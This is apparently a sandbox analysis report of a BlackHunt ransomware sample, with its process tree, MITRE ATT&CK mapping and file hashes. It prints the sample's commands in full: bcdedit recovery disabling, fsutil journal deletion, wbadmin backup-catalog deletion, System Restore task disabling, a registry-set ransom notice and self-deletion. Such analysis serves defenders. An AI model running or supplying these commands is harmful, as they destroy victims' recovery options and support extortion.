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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:6660
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5972
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:6232
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:6848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4664
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:7084
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:7108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:5316
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:5476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:7144
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:6684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:5236
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:9068
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:5540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:8344
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:6956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:1608 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:6812
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6812 -s 14444⤵
- Program crash
PID:1768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:4040
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:9004
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5560
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"2⤵PID:8812
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:6516
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:724
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:7012
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:6784
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6812 -ip 68121⤵PID:4268
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD54e033b216153407a26e1b4805dd6ebfb
SHA10413d0a5c0ae84887a4991f00c5e638494a82b84
SHA256fa9ccdf29af66c9dc3c706a49d7dc8e68d1d32e192bbfc3125718b22c8746e89
SHA5122d169ffa94441576721524ad1345c6c545127baeb24fe0a6dffbd2845578abad673854362faecf6c74bb108af03063afc10dc14e12a9ffc1ee3a1ddad00e1ec4
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Filesize
12KB
MD56efe1c7ed38919d1bccecaf0e8682a5a
SHA18d7d38dd1ad182a896d9d68ad1756a55d33519d9
SHA25698d2506d630710dbe1e984bc2e6a70b096af30293cb54c01a40b990035c21274
SHA512a6a6c5be7aafd60c9418a18640278dec94b380912fc40daa25c8ccc117eec04c2cec1374e5f78a1d20079a775ff2efdc95115e4f26003b18ab9473990fe2357c
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Filesize
684B
MD54d42ee960e7bf811ed80fb4443dec5ae
SHA1cfb5c94d3a2f991c225073487072a8548332f48b
SHA2569898e587c2fdb2e3d2fc90e14b7b024a6b774b2173ace19e7b9c0e1cd81d53ea
SHA5120750770942cea5c3a835d1db86e03b7d061e65a1adc362e2c628c8ac0961198e44fe348fd6e25e6cd0dbd5f7974bff0774fd7ea6cad85ad9e7af996fd03913a2